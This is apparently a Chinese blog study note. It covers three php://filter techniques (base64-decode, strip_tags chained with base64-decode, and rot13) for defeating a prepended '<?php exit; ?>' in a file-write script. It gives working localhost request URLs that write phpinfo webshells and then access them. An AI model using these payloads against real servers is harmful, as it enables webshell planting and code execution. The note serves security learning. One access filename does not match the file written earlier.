前言以及环境介绍
本文是对p神文章
谈一谈php://filter的妙用 | 离别歌知识点的学习
本文主要介绍使用filter伪协议进行死亡绕过的三种方式
测试环境:小皮面板
测试代码:exit.php
1 | <?php |
痛点分析:再这一段代码之中由于我呢见开头固定有<?php exit; ?> 会导致我们不管传入什么后续PHP代码都无法执行
方式一:base64_decode绕过
我们知道base64-decode这个过滤器是会舍弃不属于base64字符的内容的
1 | $decoded = base64_decode($raw); |
可以观察到'<?php exit; ?>'这一段内容之中只有p h p e x i t是base64合法字符 其他符号都会被忽略
那么我们就可以想到先将我们的webshell进行一次base64编码 然后再再传入payload之中使用一次base64-decode就可以成功破坏exit
添加a的原因
base64解码是按4个字符一组的 但是我们上一步中发现 “只有p h p e x i t是base64合法字符”(这里只有七个字符)所以我们要添加一个凑数的字符
这样一来解码器就会先处理phpexita解码之后残生六个字节的二进制数据(无意义的乱码)不会影响后续解码
演示
原始webshell:<?php phpinfo(); ?>
base64编码并拼接对齐字符: aPD9waHAgcGhwaW5mbygpOyA/Pg==
将这个字符串作为txt参数传入 此时写入文件的原始内容是
1 | <?php exit; ?>aPD9waHAgcGhwaW5mbygpOyA/Pg== |
使用filter伪协议将其写入
1 | http://localhost/exit.php?filename=php://filter/write=convert.base64-decode/resource=D:/phpstudy_pro/WWW/uploads/shell.php&txt=aPD9waHAgcGhwaW5mbygpOyA/Pg%3D%3D |
此时webshell以及被成功写入 访问
1 | http://localhost/uploads/shell_phpinfo.php |
成功看到版本信息
方法二:strip_tags + base64-decode 组合绕过
strip_tags
string.strip_tags过滤器的作用是第哦啊用PHP之中strip_tags()函数 它会删除字符串之中所有HTML XML PHP标签
那么我们就可以使用这个过滤器来删除<?php exit; ?> 但是我们也要考虑到我们自己的webshell也是 <?php ... ?>形式 直接使用这个过滤器那我们的webshell也被删除了呀
构造方法
我们只需要将自己的webshell先进行Base64编码 这样一来再strip_tags阶段我们的webshell不会包含任何 < 或 > 字符 这样一来就会被保留下来 之后再将其decode就行了
1 | filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=uploads/shell.php |
以上的过滤器链就可以实现
演示
我们来到我们的exit.php页面
访问
1 | http://localhost/exit.php?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=D:/phpstudy_pro/WWW/uploads/shell2.php&txt=PD9waHAgcGhwaW5mbygpOyA/Pg%3D%3D |
没反应是正常的 此时webshell已经被写入uploads
访问
1 | http://localhost/uploads/shell2.php |
成功获取phpinfo信息
方法三:string.rot13 过滤器绕过
string.rot13 过滤器
这是一个偏移密码过滤器
会将数据应用str_rot13()函数 将每个字母移动13个位置 数字和非字母字符不变
那么<?php exit; ?> 经过 rot13 编码后会变成 <?cuc rkvg; ?>
利用条件
在PHP配置之中有一个选项short_open_tag 当它被设置为Off的时候 PHP只识别完整的<?php标签 这样一来我们上一步将<?php exit; ?>变成<?cuc rkvg; ?>它就无法识别了
构造核心
我们先将我们的webshell提前进行一次rot13编码 这样经过过滤器解码之后就是正常PHP代码
将<?php phpinfo(); ?>变成<?cuc cucvasb(); ?>
诸如这样
1 | filename=php://filter/write=string.rot13/resource=uploads/shell3.php |
演示
依旧还是那个exit.php
URL之中访问
1 | http://localhost/exit.php?filename=php://filter/write=string.rot13/resource=D:/phpstudy_pro/WWW/uploads/shell3.php&txt=<?cuc cucvasb(); ?> |
非字母的字符不需要编码
之后访问 http://localhost/uploads/shell3.php即可看到phpinfo信息
以上就是死亡绕过的三种方法